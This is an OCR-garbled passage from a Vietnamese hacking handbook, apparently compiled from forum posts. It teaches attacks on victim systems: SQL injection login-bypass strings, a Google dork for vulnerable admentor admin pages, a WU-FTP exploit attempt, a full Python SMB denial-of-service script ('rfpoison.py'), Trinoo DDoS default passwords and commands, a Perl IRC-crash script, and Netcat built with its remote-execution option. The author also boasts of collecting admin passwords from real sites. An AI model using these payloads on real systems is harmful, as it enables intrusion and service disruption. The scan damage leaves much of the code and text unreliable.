  • Vị trí file chứa passwd của một số phiên bản khác nhau: CODE AIX 3 /etc/security/passwd !/tcb/auth/files// A/UX 3.0s /tcb/files/auth/?/ BSD4.3-Ren /etc/master.passwd ConvexOS 10 /etc/shadpw ConvexOS 11 /etc/shadow DG/UX /etc/tcb/aa/user/ EP/IX /etc/shadow x HP-UX /.secure/etc/passwd IRIX 5 /etc/shadow x Linux 1.1 /etc/shadow OSF/1 /etc/passwd[.dir|.pag]

    SCO Unix #.2.x /tcb/auth/files// SunOS4.1+c2 /etc/security/passwd.adjunct

    username

    SunOS 5.0 /etc/shadow System V Release 4.0 /etc/shadow x System V Release 4.2 /etc/security/
    database Ultrix 4 /etc/auth[.dir|.pag] Ua ICOS /etc/udb 35.- Khai thác lỗi của Linux qua lỗ hồng bảo mật cia WU-FTP server: WU-FTP Server (duoc phát trién bói Dai Hoc Washington) là mót phàn mém Server phuc vu FTP duoc düng khá phó bién trén các hé thóng Unix & Linux (tát cà các nhà phán phói: Redhat, Caldera, Slackware, Suse, Mandrake...) va ca Windows...., các hacker có thé thực thi các câu lệnh của mình từ xa thông qua file globbing bằng cách ghi đè lên file có trên hệ thống. Tuy nhiên, việc khai thác lỗi này không phải là dễ vì nó phải hội đủ những điều kiện sau: Phái có account trén server. Phải đặt duoc Shellcode vào trong bó nhé Process cua Server. Phải gửi một lệnh FTP đặc biệt chứa dung mót globbing màu dác biét mà khóng bi server phát hiện có lỗi. 88 KỸ THUẬT ĐIỆâ TOÁä Hacker sé ghi dé lén mót Function, Code tói mót Shellcode, có thé nó sé duoc thuc thi bói chính Server FTP. Server. Ta hãy phân tích VD sau về việc ghi đè lên file của server FTP: CODE ftp > open localhost <== lệnh mở trang bị lỗi. Connected to localhost (127.0.0.1). 220 sasha FTP server (Version wu-2.6.1-18) ready «—- xâm nháp thành cóng FTP 4 ame (localhost:root): anonymous <== 4 hap tên chô này 331 Guest login ok, send your complete e-mail address as password. Password:........... <== nhập mật khâu ở đây 230 Guest login ok, access restrictions apply. Remote system type is Ua IX. Using binary mode to transfer files. <== sử dụng biến nhị phân để chuyền đổi file. ftp > Is ~{ <== lệnh liệt kê thư mục hiện hành. 227 Entering Passive Mode (127,0,0,1,241,205) 42] Service not available, remote server has closed connection 1405 ? S 0:00 ftpd: accepting connections on port 21 ¢ chap nhan két néI 6 céng 21. 7611 tty3 S 1:29 gdb /usr/sbin/wu.ftpd 26256 ? S 0:00 ftpd: sasha:anonymous/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 26265 tty3 R 0:00 bash -c ps ax | grep ftpd (gdb) at 26256 Attaching to program: /usr/sbin/wu.ftpd, process 26256 <== khai thác lỗi Wu.ftpd. Symbols already loaded for /lib/libcrypt.so.1 Symbols already loaded for /lib/libnsl.so.1 Symbols already loaded for /lib/libresolv.so.2 Symbols already loaded for /lib/libpam.so.0 Symbols already loaded for /lib/libdl.so.2 Symbols already loaded for /lib/1686/libc.so.6 Symbols already loaded for /lib/1d-linux.so.2 Symbols already loaded for /lib/libnss files.so.2 Symbols already loaded for /lib/libnss nisplus.so.2 Symbols already loaded for /lib/libnss nis.so.2 0x40165544 in libc read () from /lib/1686/libc.so.6 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. . libc free (mem-0x61616161) at malloc.c:3136 3136 in malloc.c Việc khai thác qua lỗi này đến nay tôi test vẫn chưa thành công (chăng biết làm sai chỗ nào). Vậy bạn nào làm được hãy post lên cho anh em biết nhé. Lỗi Linux hiện nay rất ít (đặc biệt là đối với Redhat), các bạn hãy chờ đợi nếu có lỗi gì mới thì bên “°Lỗi bảo mật”? sẽ cập nhật ngay. 36.- Tim hiéu vé SQL Injection: . . 2. SQL Injection là một trong những kiêu hack web đang dân trở nên phô bién hiện nay. Bằng cách inject các mà SQL query/command vào input truóc khi chuyền cho ứng dụng web xử lý, bạn có thé login mà khóng can username và password, thi hành lệnh từ xa, đoạt dữ liệu và lấy root của SQL server. Công cụ dùng dé tan công là một trình duyệt web bất kỳ, chăng han nhu Internet EXPlorer, â etscape, Lynx,... §9 KỸ THUẬT ĐIỆâ TOÁä Ban có thé kiém duoc trang Web bi lói bằng cách dùng các công cụ tìm kiếm để kiếm các trang cho phép submit dữ liệu. Một số trang Web chuyên tham số qua các khu vực ấn nên bạn phải viewsource mới thấy được. VD ta xác định được trang này sử dụng Submit dữ liệu nhờ nhìn vào mã mà ta dà viewsource: CODE «input type-hidden name=A value=C > Kiểm tra thử xem trang Web có bị lỗi này hay không bằng cách nhập vào login và pass lân lượt như sau:
  • Login: hr' or 1=1—
  • Pass: hi' or 1=1— ä êu không được bạn thử tiếp với các login và pass sau: CODE or 1=1— or 1=1— or 1=1— or a'—a op aem. odes â êu thành cóng, ban có thé login vào mà khóng càn phái biét username và password. Lói này có dính dáng đến Query nên nếu bạn nào đã từng học qua cơ sở dữ liệu có thê khai thác dễ dàng chỉ bằng cách đánh các lệnh Query trên trình duyệt của các bạn. á éu các bạn muốn tìm hiểu kỹ càng hơn về lỗi này có thé tim các bài viét cüa nhóm vicky dé tim hiéu thém. 37.- Một VD về hack Web thông qua lỗi admentor (Một dạng của lỗi SQL Injection): Trước tiên bạn vào google.com tìm trang Web admentor bằng từ khóa *'allinurl: admentor’’. Thông thường bạn sẽ có kết qua sau: http://www.someserver.com/admentor /admin/admin.asp Ban thu nhập ° or `= ” vào login và password: CODE Login: ' or "— Password: ' or "— á éu thành sind bạn sẽ xâm nhập vào Web bị lỗi với vai trò là admin. Ta hãy tìm hiểu về cách fix lỗi này nhé: Loc các ký tự đặc biệt như °ˆ ~ V” bằng cách chêm vào JavascrIP đoạn mã sau: CODE function RemoveBad(strTemp) { strTemp - strTemp.replace(^«|- VIV Ne NQON&| V: Var return str Temp, j Và gọi nó từ bên trong cua asp scrIPt: CODE var login = var TempStr = RemoveBad (Request.QueryString(``login)), var password = var TempStr = RemoveBad (Request.QueryString (password)),
  • Vậy là ta đã fix xong lỗi. 90 KY THUAT DIEa TOAA
  • Các ban có thé áp dung cách hack này cho các trang Web khác có submit đữ liệu, các ban hay test thử xem đi, các trang Web ở Việt ä am mình bị nhiều lắm, tôi đã kiếm được kha khá pass admin băng cách thử này rồi (nhưng cũng đã báo để họ fix lại).
  • Có nhiều trang khi login không phải bằng “° or “= ° mà bàng các nick name có thật đã đăng ký trên trang Web đó, ta vào link “thành viên”? kiếm nick của một admin để test thử nhé. Ở phần 6 tôi sẽ đề cập đến kiểu tấn công từ chối dịch vụ (DoS attack), một kiểu tấn công lợi hại đã làm cho trang Web hùng mạnh như HVA của chúng ta bị tắt nghẽn chỉ trong thời gian ngắn các admin bận đi uống cafe hết mà không ai trông coi. Kèm theo đó là các phương pháp tấn công DoS đã và đang được sử dụng. 38.- DoS attack 1a gi ? (Denial Of Services Attack) DoS attack (dich la tán cóng tir chói dich vu) là kiéu tán cóng rát loi hai, vói loai tán cóng này, ban chi càn mót máy tính két nói Internet là dà có thé thuc hién viéc tán cóng duoc máy tính của đối phương. thực chất của DoS attack là hacker sẽ chiếm dụng một lượng lớn tài nguyên trên server (tài nguyên đó có thể là băng thông, bộ nhớ, cpu, đĩa cứng,...) làm cho server không thể nào đáp ứng các yêu cầu từ các máy của người khác (máy của những người dùng bình thường) và server có thé nhanh chóng bị ngừng hoạt động, crash hoặc reboot. 39.- Các loại DoS attack hiện đang được biết đến và sử dụng:
  • Winnuke: DoS attack loại này chỉ có thể áp dụng cho các máy tính đang chạy Windows9x. Hacker sé gói các gói tin voi dữ liệu “Out of Band”? đến cổng 139 của máy tính đích. (Cổng 139 chính là công ẩ etBIOS, cổng này chỉ chấp nhận các gói tin có cờ Out of Band được bật). Khi máy tính của victim nhận được gói tin này, một màn hình xanh báo lỗi sẽ được hiển thị lên với nạn nhân do chương trình của Windows nhận được các gói tin này nhưng nó lại không biết phản ứng với các dữ liệu Out Of Band như thế nào dẫn đến hệ thống sẽ bị crash.
  • Ping of Death: Ó kiéu DoS attack này, ta chỉ cần gửi một gói dữ liệu có kích thước lớn thông qua lệnh ping đến máy đích thì hệ thống của họ sẽ bị treo. VD: ping -1 65000 c.- Teardrop: á hư ta đã biết, tất cả các dữ liệu chuyên đi trên mạng từ hệ thống nguồn đến hệ thống đích đều phải trải qua 2 quá trình: Dữ liệu sẽ được chia ra thành các mảnh nhỏ ở hệ thống nguồn, mỗi mảnh đêu phải có một giá trị offset nhất định dé xác định vị trí của mảnh đó trong gói dữ liệu được chuyển đi. Khi các mảnh này đến hệ thống đích, hệ thong dich sé dua vao giá tri offset để sắp xếp các mảnh lại với nhau theo thứ tự đúng như ban đầu. Lợi dụng sơ hở đó, ta chỉ cần gởi đến hệ thống đích một loạt gói packets với giá trị offset chồng chéo lên nhau. Hệ thống đích sẽ không thể nào sắp xếp lại các packets này, nó không điều khiển được và có thé bi crash, reboot hoặc ngừng hoạt động nếu số lượng gói packets vói giá tri offset chồng chéo lên nhau quá lớn ! d.- SYN Attack: Trong SYa Attack, hacker sé gol dén hé thong dích mót loat SYá packets voi dia chi IP nguón không có thực. Hệ thống đích khi nhận được các SYA packets này sẽ gởi trở lại các địa chỉ không có thực đó và chờ đợi để nhận thông tin phản hồi từ các địa chi IP giả. Vì đây là các địa chỉ IP không có thực, nên hệ thống đích sẽ sẽ chờ đợi vô ích và còn đưa các "request" chờ đợi này vào bộ nhớ, gây lãng phí một lượng đáng kể bộ nhớ trên máy chủ mà đúng ra là phải dùng vào việc khác thay cho phải chờ đợi thông tin phản hồi không có thực này. â éu ta gói cùng môt lúc nhiều gói tin có địa chỉ IP giả như vậy thì hệ thống sẽ bị quá tải dẫn đến bị crash hoặc boot máy tính. == > ném đá dấu tay. e.- Land Attack: 91 KỸ THUẬT ĐIỆẩ TOÁä Land Attack cüng gàn gióng nhu SYá Attack, nhưng thay vì dùng các dia chi IP không có thực, hacker sẽ dùng chính địa chỉ IP của hệ thống nạn nhân. Điều này sẽ tạo nên một vòng lặp vô tận giữa trong chính hệ thong nạn nhân đó, giữa một bên cần nhận thông tin phản hồi còn một bên thì chẳng bao giờ gởi thông tin phản hồi đó đi cả. == > Gậy ông đập lưng ông. f.- Smurf Attack: Trong Smurf Attack, cần có ba thành phần: Hacker (người ra lệnh tấn công), mạng khuếch đại (sẽ nghe lệnh của hacker) và hệ thống của nạn nhân. Hacker sẽ gởi các gói tin ICMP đến địa chỉ broadcast của mạng khuếch đại. Điều đặc biệt là các gói tin ICMP packets này có địa chỉ IP nguồn chính là địa chỉ IP của nạn nhân. Khi các packets đó đến được địa chỉ broadcast của mạng khuếch đại, các máy tính trong mạng khuếch đại sẽ tưởng rằng máy tính nạn nhân đã gởi gói tin ICMP packets đến và chúng sẽ đồng loạt gởi trả lại hệ thống nạn nhân các gói tin phản hồi ICMP packets. Hệ thống máy nạn nhân sẽ không chịu nổi một khối lượng không lồ các gói tin này và nhanh chóng bị ngừng hoạt động, crash hoặc reboot. à hư vậy, chi cần gởi một lượng nhỏ các gói tin ICMP packets đi thì hệ thống mạng khuếch đại sẽ khuếch đại lượng gói tin ICMP packets này lên gấp bội. Tỉ lệ khuếch đại phụ thuộc vào só mang tính có trong mang khuéch dai. á hiém vu cüa các hacker là có chiếm được càng nhiều hệ thống mạng hoặc routers cho phép chuyên trực tiếp các gói tin đến địa chỉ broadcast không qua chỗ lọc địa chỉ nguồn ở các đầu ra của gói tin. Có được các hệ thống này, hacker sẽ dễ dàng tiến hành Smurf Attack trén các hệ thống cần tấn công. == > một máy làm chẳng sỉ nhê, chục máy chụm lại ta đành chào thua. g.- UDP Flooding: Cách tấn công UDP đòi hỏi phải có 2 hệ thống máy cùng tham gia. Hackers sẽ làm cho hệ thống của mình đi vào một vòng lặp trao đổi các dữ liệu qua giao thức UDP. Và giả mạo địa chỉ IP của các gói tin là địa chi loopback (127.0.0.1), rồi gởi gói tin này đến hệ thông của nạn nhân trên công UDP echo (7). Hệ thống của nạn nhân sẽ trả lời lại các messages do 127.0.0.1(chính nó) gởi đến, kết quả là nó sẽ đi vòng một vòng lặp vô tận. Tuy nhiên, có nhiều hệ thống không cho dùng địa chỉ loopback nên hacker sẽ giả mạo một địa chỉ IP của một máy tính nào đó trên mạng nạn nhân và tiến hành ngập lụt UDP trên hệ thống của nạn nhân. â ếu bạn làm cách này không thành công thì chính máy của bạn sẽ bị đấy. h.- Tấn công DNS: Hacker có thể đổi một lối vào trên Domain â ame Server của hệ thống nạn nhân rồi cho chỉ đến một website nào đó của hacker. Khi máy khách yêu cau Da S phan tích địa chi bi xâm nhập thành địa chỉ IP, lập tức Das (da bi hacker thay dói cache tam thoi) sé dói thành dia chi IP mà hacker dà cho chi dén dó. Két quà là thay vi phài vào trang Web muón vào thi các nạn nhân sẽ vào trang Web do chính hacker tạo ra. Một cách tán công từ chối dịch vụ thật hữu hiệu !. g.- Distributed DoS Attacks (DDos): DDoS yéu cau phai có it nhat vai hackers cüng tham gia. Dau tién các hackers sé có thâm nhập vào các mạng máy tính được bảo mật kém, sau đó cài lên các hệ thống này chương trình DDoS server. Bây giờ các hackers sẽ hẹn nhau đến thời gian đã định sẽ dùng DDoS client kết nối đến các DDoS servers, sau đó đồng loạt ra lệnh cho các DDoS§ servers này tién hành tấn công DDoS đến hệ thống nạn nhân. h.- DRDoS (The Distributed Reflection Denial of Service Attack): Đây có lẽ là kiểu tấn công lợi hại nhất và làm boot máy tính của đối phương nhanh gọn nhất. Cách làm thì cũng tương tự như DDos nhưng thay vì tấn công bằng nhiều máy tính thì người tấn công chỉ cần dùng một máy tấn công thông qua các server lớn trên thế giới. Vẫn với phương pháp gia mao dia chi IP cua victim, ke tan cóng sé gói các gói tin dén các server mạnh nhất, nhanh nhất và có đường truyền rộng nhất như Yahoo.v.v..., các server này sé phản hồi các gói tin đó đến địa chỉ của victim. Việc cùng một lúc nhận ước nhiều gói tin 92 KY THUAT DIEa TOAA thông qua các server lớn này sẽ nhanh chóng làm nghẽn đường truyền của máy tính nạn nhân và làm crash, reboot máy tính đó. Cách tán công này lợi hại ở chỗ chỉ cần một máy có két nói Internet don gián vói duóng truyền bình thường cũng có thể đánh bật được hệ thống có đường truyền tốt nhật thế giới nêu như ta không kịp ngăn chặn. Trang Web HVA của chúng ta cũng bị DoS vừa rồi bởi cách tắn công này đây. 40.- Kỹ thuật DoS Web bằng Python: Kỹ thuật này chỉ có thể sử dụng duy nhất trên Winâ T, và bạn cần phải có thời gian thi máy tính của nạn nhân mới bị down được. Ban hay download Pyphon tai http://www.python.org/ dé str dung. Ban hay save doan ma sau lén file rfpoison.py. CODE import string import struct from socket import import sys def a2b(s): bytes = map(lambda x: string.atoi(x, 16), string.split(s)) data = string.join(map(chr, bytes), *) return data def b2a(s): bytes = map(lambda x: %.2x % x, map(ord, s)) return string.join(bytes, )

    Yêu câu tập hợp â BSS

    nbss session = a2b(

    81 00 00 48 20 43 4b 46 44 45 4e 45 43 46 44 45 46 46 43 46 47 45 46 46 43 43 4] 43 41 43 41 43 41 43 41 43 41 00 20 45 48 45 42 46 45 45 46 45 4c 45 46 45 46 46 41 45 46 46 43 43 41 43 41 43 41 43 41 43 41 41 41 00 00 00 00 00

    Tạo SMB

    crud = (

    Yêu cầu SMBnegprot

    f 53 4d 42 72 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 01 00 00 01 00 00 81 00 02 50 43 20 4e 45 54 57 4f 52 4b 20 50 52 4f 47 52 41 4d 20 31 2e 30 00 02 4d 49 43 52 4f 53 4f 46 54 20 4e 45 54 57 Af 52 4b 53 20 31 2e 30 33 00 02 4d 49 43 52 4f 53 Af 46 54 20 4e 45 54 57 4f£ 52 4b 53 20 33 2e 30 00 02 4c 41 4e 4d 41 4e 31 2e 30 00 02 4c 4d 31 2e 32 58 30 30 32 00 02 53 61 6d 62 61 00 02 4e 54 20 4c 41 4e 4d 41 4e 20 31 2e 30 00 02 4e 54 20 4c 4d 20 30 2e 31 32 00 KE AAA 93 KỸ THUẬT ĐIỆẩ TOÁä ff 53 4d 42 73 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

    4 01 00 00 01 00 0d ff 00 00 00 ff

    ff 02 00 f4 01 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 17 00 00 00 57 4f52 4b 47 52 4f 55 50 00 55 6e 69 78 00 53 61 6d 62 61 00 ` KE ff 53 4d 42 75 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 01 00 08 01 00 04 ff 00 00 00 00 00 01 00 17 00 00 5c 5c 2a 53 4d 42 53 45 52 56 45 52 5c 49 50 43 24 00 49 50 43 00 KE KE ff 53 4d 42 a2 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f4 01 00 08 01 00 18 f£ 00 00 00 00 07 00 06 00 00 00 00 00 00 00 9f 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 00 00 01 00 00 00 00 00 00 00 02 00 00 00 00 08 00 5c 73 72 76 73 76 63 00 KE KE ff 53 4d 42 25 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f4 01 00 08 01 00 10 00 00 48 00 00 00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 00 48 00 4c 00 02 00 26 00 00 08 51 00 5c 50 49 50 45 5c 00 00 00 05 00 0b 00 10 00 00 00 48 00 00 00 01 00 00 00 30 16 30 16 00 00 00 00 01 00 00 00 00 00 01 00 c8 4£ 32 4b 70 16 d3 01 12 78 5a 47 bf 6e el 88 03 00 00 00 04 5d 88 8a eb 1c c9 11 9f e8 08 00 2b 10 48 60 02 00 00 00 KE KE ff 53 4d 42 25 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f4 01 00 08 01 00 10 00 00 58 00 00 00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 00 58 00 4c 00 02 00 26 00 00 08 61 00 5c 50 49 50 45 5c 00 00 00 05 00 00 03 10 00 00 00 58 00 00 00 02 00 00 00 48 00 00 00 00 00 Of 00 01 00 00 00 0d 00 00 00 00 00 00 00 0d 00 00 00 5c 00 5c 00 2a 00 53 00 4d 00 42 00 53 00 45 00 52 00 56 00 45 00 52 00 00 00 00 00 01 00 00 00 01 00 94 KY THUAT DIEa TOAA 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 KE ) crud = map(a2b, crud) def smb send(sock, data, type=0, flags=0): d — struct.pack( ! BBH', type, flags, len(data))
  • print send:, b2a(d+data)

    sock.send(d+data) def smb recv(sock): s = sock.recv(4) assert(len(s) == 4) type, flags, length — struct. unpack(" 'BBH , s) data = sock.recv(length) assert(len(data) == length)

    print recv:, b2a(s+data)

    return type, flags, data def nbss send(sock, data): sock.send(data) def nbss recv(sock): s = sock.recv(4) assert(len(s) == 4) return s def main(host, port=139): s = socket(AF Iá ET, SOCK STREAM) s.connect(host, port) nbss send(s, nbss session) nbss recv(s) for msg in crud[:-1]: smb send(s, msg) smb recv(s) smb_send(s, crud[-1]) # no response to this s.close() if name == main print ‘Sending poIson..., main(sys.argv[1]) print ‘done.’ Dé có thé làm down được server của đối phương bạn cần phải có thói gian DoS , néu khóng có diéu kién chó doi tót nhát ban khóng nén sit dung cách này. á hung ^voc" m cho biết thì được đúng không ? 41.- Tán công DDoS thông qua Trinoo: Ban dà biét DDoS attack là gi rói phài khóng ? Mót cuóc tán cóng DDoS bàng Trinoo duoc thuc hién bói mót két nói cüa Hacker Trinoo Master và chi dán cho Master dé phát dóng một cuộc tấn cong DDoS dén một hay nhiều mục tiêu. Trinoo Master sẽ liên lạc với những Deadmons đưa những địa chỉ được dẫn đến đề tấn công một hay nhiều mục tiêu trong khoảng thời gian xác định. Cả Master và Deamon đều được bảo vệ bằng Passwd. chỉ khi chúng ta biết password thì mới có thể điều khiển được chúng, điều này không có gì khó khăn nếu chúng ta là chủ nhân thực sự của chúng. â hững password này thường được mã hóa và bạn có thể thiết lập khi biên dịch Trinoo từ Source - > Binnary. Khi được chạy, Deadmons sẽ hiện ra một dau 95 KY THUAT DIEa TOAA nhắc và chờ passwd nhập vào, nếu passwd nhập sai nó sẽ tự động thoát còn nếu password được nhập đúng thì nó sẽ tự động chạy trên nền của hệ thống. attacker$ telnet 10.0.0.1 27665 Trying 10.0.0.1 Connected to 10.0.0.1 Escape character is "^l. kwijibo Connection closed by foreign host. <== Ban da nhap sai attacker$ telnet 10.0.0.1 27665 Trying 10.0.0.1 Connected to 10.0.0.1 Escape character is "^l. betaalmostdone trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/] trinoo > < == bạn đã vào được hệ thong trinoo Day 1a vai password mac dinh: **144adsl’’: pass cua trinoo daemon. "gorave'': password cua trinoo master server khi startup. ^betaalmostdone"': password diéu khién tir xa chung cho trinoo master. ^killme"': password trinoo master điều khiển lệnh “°mdie'°. Đây là một số lệnh dùng đề điều khiến Master Server: CODE die-------- Shutdown. qQuit-------- Log off. mtimer  -------- Đặt thời gian để tấn công DoS với â nhận giá trị từ 1-- > 1999 giây. dos IP------- Tán cóng đến một địa chỉ IP xác định. mdie pass------- Vô hiệu hóa tất cả các Broadcast, nếu như password chính xác. Mót lệnh được gửi tới (“°dle 144adsl’’) Broadcast dé Shutdown chúng. Một password riêng biệt sẽ được đặt cho mục này MPpiN-------- Gửi một lệnh ping toi (‘png 144adsl’’) c,c Broadcast. mdos------ Send nhiéu lénh DOS (‘’xyz 144adsl 123:IP1:IP2’’) dén các Broadcast. inf0--------- Hién thi thong tin vé Trinoo. MSiZe---------- Đặt kích thước đệm cho những gói tin được send đi trong suốt thời gian DoS. nslookup host------ X ác định tên thiết bị của Host mà Master Trinoo đang chạy. usebackup------- Chuyén tói các file Broadcast sao luu duoc tao bói lénh killdead"'. bcast------- Liét ké danh sách tát cá các Broadcast có thé khai thác. help [cmd ]------- Dua ra danh sách các lệnh. MStOp------- ä gừng lại các cuốc tấn công DOS. Đây là một số lệnh dùng đề điều khiển Trinoo Deadmons: CODE 96 KY THUAT DIEa TOAA aaa pass ĮP-----=-= Tán cóng dén dia chi IP dà xác định. Gửi gói tin UDP (0-65534) dén công của UDP của địa chỉ IP đã xác định trong một khoảng thời gian xác định được mặc định là 120s hay từ I-- > 1999 s. Bee ong CC Đặt thời gian giới hạn cho các cuộc tấn công DOS. SN Güi chuói "*HELLO" tói dánh sách Master Server dà duoc bién dich trong chuong trinh trén cóng 31335/UDP. PNg pass------- Send chuỗi ‘’Pong’’ toi Master Server phát hành các lénh diéu khién trén cóng 31335/UDP. die pass-------- Shutdown Trinoo. e See Là kích thuóc cüa bó dém được dùng đề tấn công, nó được tính bằng byte. xyz pass 123:IP1:IP3-------- tấn công DOS nhiều mục tiêu cùng lúc. Còn nhiều đoạn mã và cách ứng dụng để DoS lắm, các bạn chịu khó tìm hiểu thêm nhé. â hưng đừng tấn công lung tung, nhất là server của HVA, coi chừng không thu được hiệu quả mà còn bị lock nick nữa đó 42.- Kỹ thuật ấn công DoS vào WireSrv Ire Server v5.07: WrrcSrv IRC là một Server [RC thông dụng trên Internet, nó sé bi Crash nếu như bị các Hacker gửi một Packet lớn hơn giá trị (65000 ký tự) cho phép đến Port 6667. Ban có thé thực hiện việc này bằng cách Telnet dén WircSrv trén Port 6667: Néu ban düng Unix: [[email protected]$ telnet irc.example.com 6667 Trying example.com... Connected to example.com. Escape character is "^l. [buffer] Windows cũng tương tự: telnet irc.example.com 6667 Luu y: [buffer] là Packet dữ liệu tương đương với 65000 ký tự. Tuy nhiên, chúng ta sẽ crash nó rất đơn giản bằng đoạn mã sau (Các bạn hãy nhìn vào đoạn mã và tự mình giải mã những câu lệnh trong đó, đó cũng là một trong những cách tập luyện cho sự phản xạ của các hacker khi họ nghiên cứu. â ào, chúng ta hãy phân tích nó một cách căn bản): CODE #\/usr/bin/perl #< == Doan mi nay cho ta biết là dùng cho các lệnh trong perl use Getopt::Std, use Socket, getopts( s:', V/oargs), if(!defined(Sargs {s})){ &usage, } my($serv,$port,$foo,$number,$data,$buf,$in_addr,$pa ddr,$proto), $foo 2 "A", # Day là 4 OP | $number = 65000", 4 Đây là tat cả số â OP $data.= $foo x $number, # kết quả của $foo times $number $serv = $args {s}, # lệnh điều khiển server từ xa $port = 6667, # lệnh điều khiển công từ xa , nó được mặc định là 6667 $buE $data, $in_addr = (gethostbyname($serv))[4] 47.- Cac cong cu can thiét dé hack Web: 97 KỸ THUẬT ĐIỆẩ TOÁä Dói với các hacker chuyên nghiệp thì họ sẽ không cần sử dụng những công cụ này mà họ sẽ trực tiếp setup phiên bản mà trang Web nạn nhân sử dụng trên máy của mình để test lỗi. â hưng đối với các bạn mới “”vào nghé”’ thi nhüng cóng cụ này rất cần thiết, hãy sử dụng chúng một vài lần bạn sẽ biết cách phối hợp chúng để việc tìm ra lỗi trên các trang Web nạn nhân được nhanh chóng nhất. Sau đây là một số công cụ bạn cần phải có trên máy “làm ăn”? của mình: Công cụ thứ 1: Một cái proxy dùng để che dấu IP và vượt tường lửa khi cần (Cách tạo 1 cái Proxy tôi đã bày ở phần 7, các bạn hãy xem lại nhé). Công cụ thứ 2: Bạn cần có 1 shell account, cái này thực sự quan trọng đối với bạn. Mót shell account tót là 1 shell account cho phép ban chay các chương trinh chính nhu nslookup, host, dig, ping, traceroute, telnet, ssh, ftp,...va shell account dó can phai cai chuong trinh GCC (rát quan trong trong viéc dich (compile) các eXPloit duoc viét bang C) nhu MinGW, Cygwin và các dev tools khác. Shell account gần giống với DOS shell, nhưng nó có nhiều câu lệnh và chức năng hơn DOS Thông thường khi bạn cài Unix thì bạn sẽ có 1 shell account, nếu bạn không cài Unix thì bạn nên đăng ký trên mạng | shell account free hoặc nếu có ai đó cai Unix và thiết lập cho ban 1 shell account thi ban có thé log vào telnet (Start > Run > gõ Telnet) để dùng shell account đó. Sau đây là 1 số địa chi ban có thé dáng ky free shell account: http://www.freedomshell.com/ http://www.cyberspace.org/shell.ht ml http://www.ultrashell.net/ Cóng cu thir 3: à MAP là Cóng cu quét cuc nhanh và manh. Có thé quét trén mang diện rộng và đặc biệt tốt đối với mạng đơn lẻ. ä MAP giúp bạn xem những dịch vụ nào đang chạy trén server (services / ports: webserver, ftpserver, pop3,...), server dang dùng hệ điều hành gì, loại tường lửa mà server sử dụng,...và rất nhiều tính năng khác. å ói chung å MAP hỗ trợ hầu hết các ky thuát quét nhu: ICMP (ping aweep),IP protocol, á ull scan, TCP SYá (half open),... â MAP được đánh giá là công cụ hàng đầu của các Hacker cũng như các nhà quản trị mạng trên thế giới. Mọi thông tin về â MAP bạn tham khảo tại http://www.insecure.org/. Công cụ thir 4: Stealth HTTP Security Scanner là cóng cu quét lỗi bảo mật tuyệt vời trên Win32. à ó có thé quét được hơn 13000 lỗi bảo mật và nhận diện được 5000 eXPloits khác. Công cụ thứ 5: IntelliTamper là công cụ hiển thị cấu trúc của một Website gồm những thư mục và file nào, nó có thê liệt kê được cả thư mục và file có set password. Rất tiện cho việc Hack Website vì trước khi bạn Hack một Website thì bạn phải năm một số thông tin của Admin và Website đó. Công cụ thứ 6: â etcat là công cụ đọc và ghi dữ liệu qua mạng thông qua giao thức TCP hoặc UDP. Bạn có thể dùng ẩ etcat I cách trực tiếp hoặc sử dụng chương trình scrIPt khác đề điều khiển â etcat. à etcat duoc coi nhu 1 eXPloitation tool do nó có thé tao duoc lién kết giữa ban và server cho việc đọc và ghi dữ liệu (tat nhiên là khi á etcat đã được cài trên 1 server bị lỗi). Mọi thông tin về â etcat bạn có thể tham khảo tại http://www.l0pht.com/. Công cụ thứ 7: Active Perl là công cụ đọc các file Perl đuôi .pl vi các eXPloit thường được viết bằng Perl. à ó còn được sử dụng đề thi hành các lệnh thông qua các file .pI. Công cụ thứ 8: Linux là hệ điều hành hầu hết các hacker đều sử dụng. Công cụ thứ 9: L0phtCrack là công cụ số một để Crack Password của Windows â T/2000. Cách Download tôi đã bày rồi nên không nói ở đây, các bạn khi Download nhớ chú ý đến các phiên bản của chúng, phiên bản nào có số lớn nhất thì các bạn hãy Down về mà xài vì nó sẽ có thêm một số tính năng mà các phiên bản trước chưa có. â éu down vè mà các ban 98 KỸ THUẬT ĐIỆẩ TOÁä ~ A không biét sir dung thi tim lai các bài viét cü có huóng dàn bén Box "Dó nghé". á éu vẫn không thấy thì cứ post bài hỏi, các bạn bên đó sẽ trả lời cho bạn. 48.- Hướng dẫn sử dụng Netcat:

    1. Giới thiệu: ä etcat là một công cụ không thê thiếu được nếu bạn muốn hack một website nào đó vì nó rất mạnh và tiện dụng. Do đó bạn cần biết một chút vé á etcat.
    2. Bién dich: Đối với bản â etcat cho Linux, bạn phải biên dịch nó trước khi sử dụng. hiệu chinh file netcat.c bang vi: vi netcat.c tim dóng res. init(), trong main() và thêm vào trước 2 dấu /ˆ`: // res_init(Q,

      thêm 2 dòng sau vào phân

      define (nằm ở đầu file):

    define GAPIâ G_SECURITY_HOLE

    define TELa ET

    • Bién dich: make linux
    • Chạy thử:./nc —h
    • â êu bạn muốn chạy â etcat bằng nc thay cho./nc, bạn chỉ cần hiệu chỉnh lại biến môi trường PATTH trong file ~/.bashrc, thêm vào :. PATH-/sbin:/usr/sbin:...:. Ban 4 etcat cho Win không cần phải compile vì đã có san file nhị phân nc.exe. Chỉ vậy giải nén và chạy là xong.
